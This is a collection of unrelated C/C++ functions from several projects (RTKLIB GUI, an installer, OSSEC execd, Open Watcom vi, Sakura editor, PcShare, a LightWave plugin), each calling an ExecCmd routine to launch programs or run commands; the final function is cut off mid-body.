bool AddMotionHandler(LWItemID objectid) { LWItemID childID; childID = _iti->firstChild(objectid); if(_iti->type(objectid) == LWI_OBJECT) { _pmesh = _obi->meshInfo(objectid, 0); if((_pmesh == NULL) && (childID == LWITEM_NULL)) { return false; } if (!ExecCmd("SelectItem %x", objectid)) { _msg->error("ERROR: Item selection\n", NULL); return false; } if (!ExecCmd("ApplyServer ItemMotionHandler " DEBUGEXT "internal_SESectionAnimExport")) { _msg->error("ERROR: Applying ItemMotionHandler\n", NULL); return false; } while (childID != LWITEM_NULL) { AddMotionHandler(childID); childID = _iti->nextChild(objectid,childID); } } return true; };
// callback on button-plot -------------------------------------------------- void __fastcall TMainWindow::BtnPlotClick(TObject *Sender) { AnsiString file1=OutFile1->Text; AnsiString file2=OutFile2->Text; AnsiString file3=OutFile3->Text; AnsiString file4=OutFile4->Text; AnsiString file5=OutFile5->Text; AnsiString file6=OutFile6->Text; AnsiString file[]={file1,file2,file3,file4,file5,file6}; AnsiString cmd1="rtkplot",cmd2="..\\..\\..\\bin\\rtkplot",opts=" -r"; TCheckBox *cb[]={ OutFileEna1,OutFileEna2,OutFileEna3,OutFileEna4,OutFileEna5,OutFileEna6 }; int i,ena[6]; for (i=0;i<6;i++) ena[i]=cb[i]->Enabled&&cb[i]->Checked; for (i=0;i<6;i++) { if (ena[i]) opts=opts+" \""+RepPath(file[i])+"\""; } if (opts==" -r") return; if (!ExecCmd(cmd1+opts)&&!ExecCmd(cmd2+opts)) { Message->Caption="error : rtkplot execution"; } }
int execute_cmd_line() { #ifndef __READLINE_DEBUG printf("Note: Macro __READLINE_DEBUG is Undefined, thus InteractiveCmd is Unavailable!!!\n\n"); #else // printf("Note: Welcome to Interactive Command!\n"); // printf(" Press 'Quit'/'Exit'/'End'/'Bye'/'Q'/'E'/'B' to quit!\n\n"); InitReadLine(); while(1) { char *pszCmdLine = ReadCmdLine(); if(IsUserQuitCmd(pszCmdLine)) { if(pszLineRead != NULL){ free(pszLineRead); pszLineRead = NULL; } break; } if (ExecCmd(pszCmdLine) < 0){ printf("ERR: can't find command!\n"); } } #endif return 0; }
void CMainFrame::StartChildWork(LPCLIENTITEM pItem, char* pTitle, UINT nCmd,char* pExeName) { if(!pItem) return; char m_Text[256] = {0}; sprintf(m_Text,"PCSHARE%s-%s", pTitle, pItem->m_Title); HWND hWnd = ::FindWindow(NULL,m_Text); if(hWnd) { ::BringWindowToTop(hWnd); return; } char* pFind = strrchr(m_Text,':'); if(pFind != NULL) *pFind = 0; //启动新的子进程 char m_AppName[512] = {0}; char m_FileName[256]; strcpy(m_FileName, pExeName); GetMyFilePath(m_FileName); sprintf(m_AppName,"%s %s:%s",m_FileName,m_Text,pItem->m_SysInfo.ID); STARTUPINFO st = {0}; st.cb = sizeof(STARTUPINFO); PROCESS_INFORMATION pi = {0}; if(!CreateProcess(NULL , m_AppName , NULL , NULL , TRUE , 0 , NULL , NULL , &st , &pi)) return; ExecCmd(pItem->m_WorkSocket , nCmd , 0); }
// Check if the WW installation of the first alhpa release of LexText is present, // and remove it if so. int RemoveFirstLexTextAlpha(SoftwareProduct * /*Product*/) { int dwResult = 0; // See if the separate WW installation is present: const TCHAR * pszProductCodeLT = _T("{D8D2DBAB-7487-4A6E-B369-7F1932B3BDFE}"); INSTALLSTATE state = WindowsInstaller.MsiQueryProductState(pszProductCodeLT); bool fInstalled = false; switch (state) { case INSTALLSTATE_ADVERTISED: case INSTALLSTATE_LOCAL: case INSTALLSTATE_SOURCE: case INSTALLSTATE_DEFAULT: // WW installation was found: fInstalled = true; } if (fInstalled) { // Display status message, and write progress to log file: ShowStatusDialog(); g_Log.Write(DisplayStatusText(0, _T("Removing old LexText Alpha version."))); g_Log.Write(DisplayStatusText(1, _T("This may take a few minutes."))); g_Log.Write(DisplayStatusText(2, _T(""))); // Remove the WW installation: TCHAR * pszCmd = new_sprintf(_T("msiexec /qb /x %s"), pszProductCodeLT); dwResult = ExecCmd(pszCmd, NULL, true, NULL, _T("Show")); delete[] pszCmd; } return int(dwResult != 0); }
void CMainFrame::OnClientProxy() { LPCLIENTITEM pItem = pClientListView->GetCurSel(); if(!pItem) return; CMyClientProxy dlg; if(dlg.DoModal() != IDOK) return; ExecCmd(pItem->m_WorkSocket , CLIENT_PROXY , dlg.m_Port); }
void shell_handler() { printf(" ---- Shell le coquillage de l'espace V0.1 \n"); while(1){ Prompt(); GetCmd(); if (!ExecCmd()) printf("Commande inconnu, tapez ''help'' pour voir la liste des commandes valides. \n"); } }
int main(int argc, char **argv) { /*start cmdline here*/ while(1) { printf("%s::%s>>",prompt,dbname); GetCmd(cmdbuf,MAX_STR_LEN); ExecCmd(cmdbuf); } return; }
int RemoveMotionHandler(LWItemID objectid) { LWItemID childID; childID = _iti->firstChild(objectid); if(_iti->type(objectid) == LWI_OBJECT) { _pmesh = _obi->meshInfo(objectid, 0); if((_pmesh == NULL) && (childID == LWITEM_NULL)) { return false; } if (!ExecCmd("SelectItem %x", objectid)) { _msg->error("ERROR: Item selection\n", NULL); return false; } for(int iServer=1;;iServer++) { const char *strServer = _iti->server(objectid, "ItemMotionHandler", iServer); if (strServer==NULL) { break; } if (strcmp(strServer, DEBUGEXT "internal_SESectionAnimExport")==0) { if (!ExecCmd("RemoveServer ItemMotionHandler %d", iServer)) { _msg->error("ERROR: Applying ItemMotionHandler\n", NULL); return false; } } } while (childID != LWITEM_NULL) { RemoveMotionHandler(childID); childID = _iti->nextChild(objectid,childID); } } return true; };
// callback on button-post-proc --------------------------------------------- void __fastcall TMainWindow::BtnPostClick(TObject *Sender) { AnsiString path2="..\\..\\..\\bin\\"; AnsiString cmd1=CmdPostExe,cmd2=path2+CmdPostExe,opts=" "; if (!OutFileEna1->Checked) return; opts=opts+" -r \""+OutFile1->Text+"\""; opts=opts+" -n \"\" -n \"\""; if (OutFileEna7->Checked) { opts=opts+" -n \""+OutFile7->Text+"\""; } if (TimeStartF->Checked) opts=opts+" -ts "+TimeY1->Text+" "+TimeH1->Text; if (TimeEndF ->Checked) opts=opts+" -te "+TimeY2->Text+" "+TimeH2->Text; if (TimeIntF ->Checked) opts=opts+" -ti "+TimeInt->Text; if (TimeUnitF ->Checked) opts=opts+" -tu "+TimeUnit->Text; if (!ExecCmd(cmd1+opts)&&!ExecCmd(cmd2+opts)) { Message->Caption="error : rtkpost execution"; } }
// Installs a couple of MS updates just for Vista, Vista's unique wusa.exe update installer. // Unfortunately, there is no simple way to detect if these updates are present, hence the // need for this function, which always returns zero, as if nothing went wrong. int VistaKB958481andKB958483(SoftwareProduct * /*Product*/) { g_Log.Write(_T("Investigating need for KB958481 and KB958483 for Vista...")); // Test that we are running Vista: if (g_OSVersion < OSVersion_t::Vista || g_OSVersion >= OSVersion_t::W7) { g_Log.Write(_T("...not running Vista.")); return 0; } DWORD dwResult; // Launch wusa.exe with the KB958481 update: g_Log.Write(_T("Launching update installer with KB958481...")); ShowStatusDialog(); DisplayStatusText(0, _T("Installing Hotfix KB958481 (prerequisite of the .NET Compatibility Update)")); dwResult = ExecCmd(_T("wusa.exe \"Utilities\\DotNet 3.5 SP1\\Windows6.0-KB958481-x86.msu\" /quiet /norestart"), NULL); if (TestResultForRebootRequest(dwResult)) { g_Log.Write(_T("KB958481 requested a reboot.")); g_fRebootPending = true; } // Launch wusa.exe with the KB958483 update: g_Log.Write(_T("Launching update installer with KB958483...")); DisplayStatusText(0, _T("Installing Hotfix KB958483 (prerequisite of the .NET Compatibility Update)")); dwResult = ExecCmd(_T("wusa.exe \"Utilities\\DotNet 3.5 SP1\\Windows6.0-KB958483-x86.msu\" /quiet /norestart"), NULL); if (TestResultForRebootRequest(dwResult)) { g_Log.Write(_T("KB958483 requested a reboot.")); g_fRebootPending = true; } g_Log.Write(_T("...Done.")); return 0; }
//--------------------------------------------------------------------------- void __fastcall TConvDialog::BtnConvertClick(TObject *Sender) { AnsiString TimeY1_Text=TimeY1->Text,TimeH1_Text=TimeH1->Text; AnsiString TimeY2_Text=TimeY2->Text,TimeH2_Text=TimeH2->Text; AnsiString InputFile_Text=InputFile->Text,OutputFile_Text=OutputFile->Text; int stat; char cmd[1024],file[1024],kmlfile[1024],*p; double offset[3]={0},es[6]={1970,1,1},ee[6]={2038,1,1},tint=0.0; gtime_t ts={0},te={0}; ShowMsg(""); if (InputFile->Text==""||OutputFile->Text=="") return; ShowMsg("converting ..."); if (TimeSpan->Checked) { sscanf(TimeY1_Text.c_str(),"%lf/%lf/%lf",es ,es+1,es+2); sscanf(TimeH1_Text.c_str(),"%lf:%lf:%lf",es+3,es+4,es+5); sscanf(TimeY2_Text.c_str(),"%lf/%lf/%lf",ee ,ee+1,ee+2); sscanf(TimeH2_Text.c_str(),"%lf:%lf:%lf",ee+3,ee+4,ee+5); ts=epoch2time(es); te=epoch2time(ee); } if (AddOffset->Checked) { offset[0]=str2dbl(Offset1->Text); offset[1]=str2dbl(Offset2->Text); offset[2]=str2dbl(Offset3->Text); } if (TimeIntF->Checked) tint=str2dbl(TimeInt->Text); strcpy(file,InputFile_Text.c_str()); strcpy(kmlfile,file); if (!(p=strrchr(kmlfile,'.'))) p=kmlfile+strlen(kmlfile); strcpy(p,".kml"); if((stat=convkml(file,Compress->Checked?kmlfile:OutputFile_Text.c_str(), ts,te,tint,QFlags->ItemIndex,offset, TrackColor->ItemIndex,PointColor->ItemIndex, OutputAlt->ItemIndex,OutputTime->ItemIndex))<0) { if (stat==-1) ShowMsg("error : read input file"); else if (stat==-2) ShowMsg("error : input file format"); else if (stat==-3) ShowMsg("error : no data in input file"); else ShowMsg("error : write kml file"); return; } if (Compress->Checked) { sprintf(cmd,"zip.exe -j -m %s %s",OutputFile->Text.c_str(),kmlfile); if (!ExecCmd(cmd)) { ShowMsg("error : zip execution"); return; } } ShowMsg("done"); }
// Launch a new instance of this process, and exit the current one. // Effectively restarts our process. Useful when an error is detected and corrected at startup. // This function does not return. void MasterInstaller_t::ReRun() { g_Log.Write(_T("Restarting master installer.")); const int knLen = MAX_PATH + 20; _TCHAR szPath[knLen]; GetModuleFileName(NULL, szPath, knLen); // Release mutex: ::CloseHandle(m_hMutex); m_hMutex = NULL; // Run ourself! ExecCmd(szPath, NULL, false); // Quit, to let the new instance take over: ExitProcess(0); }
/** * Shutdowns execd properly. */ static void execd_shutdown(int sig) { /* Removing pending active responses. */ merror(EXEC_SHUTDOWN, ARGV0); timeout_node = OSList_GetFirstNode(timeout_list); while(timeout_node) { timeout_data *list_entry; list_entry = (timeout_data *)timeout_node->data; ExecCmd(list_entry->command); /* Delete currently node - already sets the pointer to next */ OSList_DeleteCurrentlyNode(timeout_list); timeout_node = OSList_GetCurrentlyNode(timeout_list); } #ifndef WIN32 HandleSIG(sig); #endif }
//--------------------------------------------------------------------------- void __fastcall TMainForm::BtnStrClick(TObject *Sender) { UnicodeString cmd1="strsvr",cmd2="..\\..\\..\\bin\\strsvr",opts=""; if (!ExecCmd(cmd1+opts)) ExecCmd(cmd2+opts); }
/** void ExecdStart(int q) v0.2 * Main function on the execd. Does all the data receiving ,etc. */ static void ExecdStart(int q) { int i, childcount = 0; time_t curr_time; char buffer[OS_MAXSTR + 1]; char *tmp_msg = NULL; char *name; char *command; char *cmd_args[MAX_ARGS +2]; /* Select */ fd_set fdset; struct timeval socket_timeout; /* Clearing the buffer */ memset(buffer, '\0', OS_MAXSTR +1); /* Initializing the cmd arguments */ for(i = 0; i<= MAX_ARGS +1; i++) { cmd_args[i] = NULL; } /* Creating list for timeout */ timeout_list = OSList_Create(); if(!timeout_list) { ErrorExit(LIST_ERROR, ARGV0); } if(repeated_offenders_timeout[0] != 0) { repeated_hash = OSHash_Create(); } else { repeated_hash = NULL; } /* Main loop. */ while(1) { int timeout_value; int added_before = 0; char **timeout_args; timeout_data *timeout_entry; /* Cleaning up any child. */ while (childcount) { int wp; wp = waitpid((pid_t) -1, NULL, WNOHANG); if (wp < 0) { merror(WAITPID_ERROR, ARGV0, errno, strerror(errno)); break; } /* if = 0, we still need to wait for the child process */ else if (wp == 0) { break; } /* Child completed if wp > 0 */ else { childcount--; } } /* Getting currently time */ curr_time = time(0); /* Checking if there is any timeouted command to execute. */ timeout_node = OSList_GetFirstNode(timeout_list); while(timeout_node) { timeout_data *list_entry; list_entry = (timeout_data *)timeout_node->data; /* Timeouted */ if((curr_time - list_entry->time_of_addition) > list_entry->time_to_block) { ExecCmd(list_entry->command); /* Deletecurrently node already sets the pointer to next */ OSList_DeleteCurrentlyNode(timeout_list); timeout_node = OSList_GetCurrentlyNode(timeout_list); /* Clearing the memory */ FreeTimeoutEntry(list_entry); childcount++; } else { timeout_node = OSList_GetNextNode(timeout_list); } } /* Setting timeout to EXECD_TIMEOUT */ socket_timeout.tv_sec = EXECD_TIMEOUT; socket_timeout.tv_usec= 0; /* Setting FD values */ FD_ZERO(&fdset); FD_SET(q, &fdset); /* Adding timeout */ if(select(q+1, &fdset, NULL, NULL, &socket_timeout) == 0) { /* Timeout .. */ continue; } /* Checking for error */ if(!FD_ISSET(q, &fdset)) { merror(SELECT_ERROR, ARGV0, errno, strerror(errno)); continue; } /* Receiving the message */ if(OS_RecvUnix(q, OS_MAXSTR, buffer) == 0) { merror(QUEUE_ERROR, ARGV0, EXECQUEUEPATH, strerror(errno)); continue; } /* Currently time */ curr_time = time(0); /* Getting application name */ name = buffer; /* Zeroing the name */ tmp_msg = strchr(buffer, ' '); if(!tmp_msg) { merror(EXECD_INV_MSG, ARGV0, buffer); continue; } *tmp_msg = '\0'; tmp_msg++; /* Getting the command to execute (valid name) */ command = GetCommandbyName(name, &timeout_value); if(!command) { ReadExecConfig(); command = GetCommandbyName(name, &timeout_value); if(!command) { merror(EXEC_INV_NAME, ARGV0, name); continue; } } /* Command not present. */ if(command[0] == '\0') continue; /* Allocating memory for the timeout argument */ os_calloc(MAX_ARGS+2, sizeof(char *), timeout_args); /* Adding initial variables to the cmd_arg and to the timeout cmd */ cmd_args[0] = command; cmd_args[1] = ADD_ENTRY; os_strdup(command, timeout_args[0]); os_strdup(DELETE_ENTRY, timeout_args[1]); cmd_args[2] = NULL; timeout_args[2] = NULL; /* Getting the arguments. */ i = 2; while(i < (MAX_ARGS -1)) { cmd_args[i] = tmp_msg; cmd_args[i+1] = NULL; tmp_msg = strchr(tmp_msg, ' '); if(!tmp_msg) { timeout_args[i] = strdup(cmd_args[i]); timeout_args[i+1] = NULL; break; } *tmp_msg = '\0'; tmp_msg++; timeout_args[i] = strdup(cmd_args[i]); timeout_args[i+1] = NULL; i++; } /* Check this command was already executed. */ timeout_node = OSList_GetFirstNode(timeout_list); added_before = 0; /* Checking for the username and ip argument */ if(!timeout_args[2] || !timeout_args[3]) { added_before = 1; merror("%s: Invalid number of arguments.", ARGV0); } while(timeout_node) { timeout_data *list_entry; list_entry = (timeout_data *)timeout_node->data; if((strcmp(list_entry->command[3], timeout_args[3]) == 0) && (strcmp(list_entry->command[0], timeout_args[0]) == 0)) { /* Means we executed this command before * and we don't need to add it again. */ added_before = 1; /* updating the timeout */ list_entry->time_of_addition = curr_time; if(repeated_offenders_timeout[0] != 0 && repeated_hash != NULL && strncmp(timeout_args[3],"-", 1) != 0) { char *ntimes = NULL; char rkey[256]; rkey[255] = '\0'; snprintf(rkey, 255, "%s%s", list_entry->command[0], timeout_args[3]); if((ntimes = (char *) OSHash_Get(repeated_hash, rkey))) { int ntimes_int = 0; int i2 = 0; int new_timeout = 0; ntimes_int = atoi(ntimes); while(repeated_offenders_timeout[i2] != 0) { i2++; } if(ntimes_int >= i2) { new_timeout = repeated_offenders_timeout[i2 - 1]*60; } else { free(ntimes); // In hash_op.c, data belongs to caller os_calloc(10, sizeof(char), ntimes); new_timeout = repeated_offenders_timeout[ntimes_int]*60; ntimes_int++; snprintf(ntimes, 9, "%d", ntimes_int); OSHash_Update(repeated_hash,rkey,ntimes); } list_entry->time_to_block = new_timeout; } } break; } /* Continue with the next entry in timeout list*/ timeout_node = OSList_GetNextNode(timeout_list); } /* If it wasn't added before, do it now */ if(!added_before) { /* executing command */ ExecCmd(cmd_args); /* We don't need to add to the list if the timeout_value == 0 */ if(timeout_value) { char *ntimes; char rkey[256]; rkey[255] = '\0'; snprintf(rkey, 255, "%s%s", timeout_args[0], timeout_args[3]); if(repeated_hash != NULL) { if((ntimes = (char *) OSHash_Get(repeated_hash, rkey))) { int ntimes_int = 0; int i2 = 0; int new_timeout = 0; ntimes_int = atoi(ntimes); while(repeated_offenders_timeout[i2] != 0) { i2++; } if(ntimes_int >= i2) { new_timeout = repeated_offenders_timeout[i2 - 1]*60; } else { os_calloc(10, sizeof(char), ntimes); new_timeout = repeated_offenders_timeout[ntimes_int]*60; ntimes_int++; snprintf(ntimes, 9, "%d", ntimes_int); OSHash_Update(repeated_hash, rkey, ntimes); } timeout_value = new_timeout; } else { /* Adding to the repeated offenders list. */ OSHash_Add(repeated_hash, rkey, strdup("0")); } } /* Creating the timeout entry */ os_calloc(1, sizeof(timeout_data), timeout_entry); timeout_entry->command = timeout_args; timeout_entry->time_of_addition = curr_time; timeout_entry->time_to_block = timeout_value; /* Adding command to the timeout list */ if(!OSList_AddData(timeout_list, timeout_entry)) { merror(LIST_ADD_ERROR, ARGV0); FreeTimeoutEntry(timeout_entry); } } /* If no timeout, we still need to free it in here */ else { char **ss_ta = timeout_args; while(*timeout_args) { os_free(*timeout_args); *timeout_args = NULL; timeout_args++; } os_free(ss_ta); } childcount++; } /* We didn't add it to the timeout list */ else { char **ss_ta = timeout_args; /* Clear the timeout arguments */ while(*timeout_args) { os_free(*timeout_args); *timeout_args = NULL; timeout_args++; } os_free(ss_ta); } /* Some cleanup */ while(i > 0) { cmd_args[i] = NULL; i--; } } }
//--------------------------------------------------------------------------- void __fastcall TMainForm::BtnNtripClick(TObject *Sender) { UnicodeString cmd1="srctblbrows",cmd2="..\\..\\..\\bin\\srctblbrows",opts=""; if (!ExecCmd(cmd1+opts)) ExecCmd(cmd2+opts); }
/* * DoGenericFilter - filter some crap */ vi_rc DoGenericFilter( linenum s, linenum e, const char *cmd ) { fcb *cfcb, *tfcb; line *cline; vi_rc rc; char filtin[_MAX_PATH], filtout[_MAX_PATH]; fcb_list fcblist; int fh; rc = ModificationTest(); if( rc != ERR_NO_ERR ) { return( rc ); } /* * filter on a line */ rc = GetCopyOfLineRange( s, e, &fcblist ); if( rc != ERR_NO_ERR ) { return( rc ); } /* * get file */ MakeTmpPath( filtin, FILTER_FILE_NAME ); fh = mkstemp( filtin ); if( fh == -1 ) return( ERR_FILE_OPEN ); /* * now, dump this crap to a tmp file */ for( cfcb = fcblist.head; cfcb != NULL; cfcb = tfcb ) { FetchFcb( cfcb ); for( cline = cfcb->lines.head; cline != NULL; cline = cline->next ) { write( fh, cline->data, strlen( cline->data ) ); #if defined( __UNIX__ ) write( fh, "\n", 1 ); #else write( fh, "\r\n", 2 ); #endif } tfcb = cfcb->next; FcbFree( cfcb ); } close( fh ); MakeTmpPath( filtout, FILTER_FILE_NAME ); fh = mkstemp( filtout ); if( fh == -1 ) { remove( filtin ); return( ERR_FILE_OPEN ); } close( fh ); /* * shell out to the given command */ ExecCmd( filtin, filtout, cmd ); StartUndoGroup( UndoStack ); rc = DeleteLineRange( s, e, 0 ); if( rc == ERR_NO_ERR ) { ReadAFile( s - 1, filtout ); Message1( "%l lines filtered through %s", e - s + 1, cmd ); } EndUndoGroup( UndoStack ); /* * cleanup */ if( rc == ERR_NO_ERR ) { rc = DO_NOT_CLEAR_MESSAGE_WINDOW; } remove( filtin ); remove( filtout ); return( rc ); } /* DoGenericFilter */
/*! 差分表示 @param pszFile1 [in] 自ファイル名 @param pszFile2 [in] 相手ファイル名 @param nFlgOpt [in] 0b000000000 ||||||+--- -i ignore-case 大文字小文字同一視 |||||+---- -w ignore-all-space 空白無視 ||||+----- -b ignore-space-change 空白変更無視 |||+------ -B ignore-blank-lines 空行無視 ||+------- -t expand-tabs TAB-SPACE変換 |+-------- (編集中のファイルが旧ファイル) +--------- (DIFF差分がないときにメッセージ表示) @note HandleCommandからの呼び出し対応(ダイアログなし版) @author MIK @date 2002/05/25 @date 2005/10/28 旧Command_Diffから関数名の変更。 GetCommander().Command_Diff_Dialogだけでなく新Command_Diff からも呼ばれる関数。maru @date 2013/06/21 ExecCmdを利用するように */ void CEditView::ViewDiffInfo( const TCHAR* pszFile1, const TCHAR* pszFile2, int nFlgOpt, bool bUTF8 ) /* bool bFlgCase, //大文字小文字同一視 bool bFlgBlank, //空白無視 bool bFlgWhite, //空白変更無視 bool bFlgBLine, //空行無視 bool bFlgTabSpc, //TAB-SPACE変換 bool bFlgFile12, //編集中のファイルが旧ファイル */ { CWaitCursor cWaitCursor( this->GetHwnd() ); int nFlgFile12 = 1; /* exeのあるフォルダ */ TCHAR szExeFolder[_MAX_PATH + 1]; TCHAR cmdline[1024]; GetExedir( cmdline, _T("diff.exe") ); SplitPath_FolderAndFile( cmdline, szExeFolder, NULL ); // From Here Dec. 28, 2002 MIK // diff.exeの存在チェック if( !IsFileExists( cmdline, true ) ) { WarningMessage( GetHwnd(), LS(STR_ERR_DLGEDITVWDIFF2) ); return; } cmdline[0] = _T('\0'); //今あるDIFF差分を消去する。 if( CDiffManager::getInstance()->IsDiffUse() ) GetCommander().Command_Diff_Reset(); //m_pcEditDoc->m_cDocLineMgr.ResetAllDiffMark(); //オプションを作成する TCHAR szOption[16]; // "-cwbBt" _tcscpy( szOption, _T("-") ); if( nFlgOpt & 0x0001 ) _tcscat( szOption, _T("i") ); //-i ignore-case 大文字小文字同一視 if( nFlgOpt & 0x0002 ) _tcscat( szOption, _T("w") ); //-w ignore-all-space 空白無視 if( nFlgOpt & 0x0004 ) _tcscat( szOption, _T("b") ); //-b ignore-space-change 空白変更無視 if( nFlgOpt & 0x0008 ) _tcscat( szOption, _T("B") ); //-B ignore-blank-lines 空行無視 if( nFlgOpt & 0x0010 ) _tcscat( szOption, _T("t") ); //-t expand-tabs TAB-SPACE変換 if( _tcscmp( szOption, _T("-") ) == 0 ) szOption[0] = _T('\0'); //オプションなし if( nFlgOpt & 0x0020 ) nFlgFile12 = 0; else nFlgFile12 = 1; // To Here Dec. 28, 2002 MIK { //コマンドライン文字列作成(MAX:1024) auto_sprintf( cmdline, _T("\"%ts\\%ts\" %ts \"%ts\" \"%ts\""), szExeFolder, //sakura.exeパス _T("diff.exe"), //diff.exe szOption, //diffオプション ( nFlgFile12 ? pszFile2 : pszFile1 ), ( nFlgFile12 ? pszFile1 : pszFile2 ) ); } { int nFlgOpt = 0; nFlgOpt |= 0x01; // GetStdOut if( bUTF8 ){ nFlgOpt |= 0x80; // UTF-8 out (SJISと違ってASCIIセーフなので) nFlgOpt |= 0x100; // UTF-8 in } nFlgOpt |= 0x40; // 拡張情報出力無効 COutputAdapterDiff oa(this, nFlgFile12); bool ret = ExecCmd( cmdline, nFlgOpt, NULL, &oa ); if( ret ){ if( oa.bDiffInfo == true && oa.nDiffLen > 0 ) { oa.szDiffData[oa.nDiffLen] = '\0'; AnalyzeDiffInfo( oa.szDiffData, nFlgFile12 ); } } } //DIFF差分が見つからなかったときにメッセージ表示 if( nFlgOpt & 0x0040 ) { if( !CDiffManager::getInstance()->IsDiffUse() ) { InfoMessage( this->GetHwnd(), LS(STR_ERR_DLGEDITVWDIFF5) ); } } //分割したビューも更新 m_pcEditWnd->Views_Redraw(); return; }
//--------------------------------------------------------------------------- void __fastcall TMainForm::BtnGetClick(TObject *Sender) { UnicodeString cmd1="rtkget",cmd2="..\\..\\..\\bin\\rtkget",opts=""; if (!ExecCmd(cmd1+opts)) ExecCmd(cmd2+opts); }
/* * RunCommandLine - run a command line command */ vi_rc RunCommandLine( const char *cmdl ) { int i, x, y, x2, y2; bool n1f, n2f; int tkn, flag; bool test1; linenum n1, n2; char st[FILENAME_MAX]; info *cinfo; long val; jmp_buf jmpaddr; vi_rc rc; const char *data; /* * parse command string */ tkn = TOK_INVALID; rc = ParseCommandLine( cmdl, &n1, &n1f, &n2, &n2f, &tkn, &data ); if( rc != ERR_NO_ERR ) { return( rc ); } if( !n2f ) { if( !n1f ) { n1 = n2 = CurrentPos.line; } else { n2 = n1; } } /* * process tokens */ rc = ERR_INVALID_COMMAND; test1 = n1f || n2f; switch( tkn ) { case PCL_T_ABOUT: rc = DoAboutBox(); break; case PCL_T_PUSH: rc = PushFileStackAndMsg(); break; case PCL_T_POP: rc = PopFileStack(); break; case PCL_T_EXECUTE: data = SkipLeadingSpaces( data ); if( *data != '\0' ) { key_map scr; rc = AddKeyMap( &scr, data ); if( rc != ERR_NO_ERR ) { break; } rc = RunKeyMap( &scr, 1L ); MemFree( scr.data ); } break; case PCL_T_DELETEMENU: rc = DoMenuDelete( data ); break; case PCL_T_DELETEMENUITEM: rc = DoItemDelete( data ); break; case PCL_T_ADDMENUITEM: rc = AddMenuItem( data ); break; case PCL_T_MAXIMIZE: rc = MaximizeCurrentWindow(); break; case PCL_T_MINIMIZE: rc = MinimizeCurrentWindow(); break; case PCL_T_EXITFILESONLY: if( !ExitWithPrompt( false, false ) ) { rc = ERR_EXIT_ABORTED; } else { rc = ERR_NO_ERR; } break; case PCL_T_EXITALL: if( !ExitWithPrompt( true, false ) ) { rc = ERR_EXIT_ABORTED; } else { rc = ERR_NO_ERR; } break; case PCL_T_QUITALL: ExitWithVerify(); rc = ERR_NO_ERR; break; case PCL_T_KEYADD: data = SkipLeadingSpaces( data ); KeyAddString( data ); rc = ERR_NO_ERR; break; case PCL_T_UNALIAS: rc = UnAlias( data ); break; case PCL_T_UNABBREV: rc = UnAbbrev( data ); break; case PCL_T_UNMAP: case PCL_T_UNMAP_DMT: flag = MAPFLAG_MESSAGE + MAPFLAG_UNMAP; if( tkn == PCL_T_UNMAP_DMT ) { flag |= MAPFLAG_DAMMIT; } rc = MapKey( flag, data ); break; case PCL_T_EVAL: data = Expand( dataBuff, data, NULL ); i = setjmp( jmpaddr ); if( i != 0 ) { rc = (vi_rc)i; } else { StartExprParse( data, jmpaddr ); val = GetConstExpr(); ltoa( val, st, EditVars.Radix ); Message1( "%s", st ); rc = ERR_NO_ERR; } break; case PCL_T_COMPILE: case PCL_T_SOURCE: case PCL_T_LOAD: { char *tstr; srcline sline; data = GetNextWord1( data, st ); if( *st == '\0' ) { rc = ERR_NO_FILE_SPECIFIED; break; } if( tkn == PCL_T_COMPILE ) { EditFlags.CompileScript = true; if( st[0] == '-' ) { if( st[1] == 'a' || st[1] == 'A' ) { EditFlags.CompileAssignments = true; if( st[1] == 'A' ) { EditFlags.CompileAssignmentsDammit = true; } data = GetNextWord1( data, st); if( *st == '\0' ) { rc = ERR_NO_FILE_SPECIFIED; break; } } } } if( tkn == PCL_T_LOAD ) { EditFlags.LoadResidentScript = true; } sline = 0; rc = Source( st, data, &sline ); EditFlags.LoadResidentScript = false; EditFlags.CompileScript = false; EditFlags.CompileAssignments = false; EditFlags.CompileAssignmentsDammit = false; if( EditFlags.SourceScriptActive ) { LastError = rc; } if( rc > ERR_NO_ERR ) { Error( "%s on line %u of \"%s\"", GetErrorMsg( rc ), sline, st ); } else { if( rc != DO_NOT_CLEAR_MESSAGE_WINDOW ) { if( tkn != PCL_T_SOURCE ) { if( tkn == PCL_T_LOAD ) { tstr = strLoad; } else { tstr = strCompile; } Message1( "Script \"%s\" %s, %u lines generated, %d errors", st, tstr, sline, SourceErrCount ); rc = DO_NOT_CLEAR_MESSAGE_WINDOW; } } } break; } case PCL_T_GENCONFIG: #ifndef __WIN__ data = GetNextWord1( data,st ); if( *st != '\0' ) { rc = GenerateConfiguration( st, true ); } else { rc = GenerateConfiguration( NULL, true ); } #else { bool temp = EditFlags.SaveConfig; EditFlags.SaveConfig = true; WriteProfile(); EditFlags.SaveConfig = temp; rc = ERR_NO_ERR; } #endif break; case PCL_T_COMPRESS: rc = CompressWhiteSpace(); break; case PCL_T_EXPAND: rc = ExpandWhiteSpace(); break; case PCL_T_SHOVE: rc = Shift( n1, n2, '>', true ); break; case PCL_T_SUCK: rc = Shift( n1, n2, '<', true ); break; case PCL_T_FILES: if( EditFlags.LineDisplay ) { rc = DisplayFileStatus(); } else { rc = EditFileFromList(); } break; case PCL_T_NEXT: rc = RotateFileForward(); break; case PCL_T_PREV: rc = RotateFileBackwards(); break; case PCL_T_HELP: rc = DoHelp( data ); break; case PCL_T_VIEW: case PCL_T_VIEW_DMT: EditFlags.ViewOnly = true; case PCL_T_EDIT: case PCL_T_EDIT_DMT: rc = EditFile( data, ( tkn == PCL_T_VIEW_DMT || tkn == PCL_T_EDIT_DMT ) ); EditFlags.ViewOnly = false; break; case PCL_T_OPEN: rc = OpenWindowOnFile( data ); break; case PCL_T_HIDE: case PCL_T_HIDE_DMT: rc = HideLineRange( n1, n2, ( tkn == PCL_T_HIDE_DMT ) ); break; case PCL_T_DELETE: rc = SetSavebufNumber( data ); if( rc != ERR_NO_ERR ) { break; } if( SelRgn.selected && !EditFlags.LineBased ) { AddSelRgnToSavebufAndDelete(); rc = ERR_NO_ERR; // @ may have turned this on - it is now definitely off SelRgn.selected = false; } else { rc = DeleteLineRange( n1, n2, SAVEBUF_FLAG ); } if( rc == ERR_NO_ERR ) { DCDisplayAllLines(); LineDeleteMessage( n1, n2 ); } break; case PCL_T_SAVEANDEXIT: data = GetNextWord1( data, st ); if( *st == '\0' ) { rc = SaveAndExit( st ); } else { rc = SaveAndExit( NULL ); } break; case PCL_T_PUT: case PCL_T_PUT_DMT: rc = SetSavebufNumber( data ); if( rc != ERR_NO_ERR ) { break; } rc = SaveAndResetFilePos( n1 ); if( rc == ERR_NO_ERR ) { if( tkn == PCL_T_PUT ) { rc = InsertSavebufAfter(); } else { rc = InsertSavebufBefore(); } RestoreCurrentFilePos(); 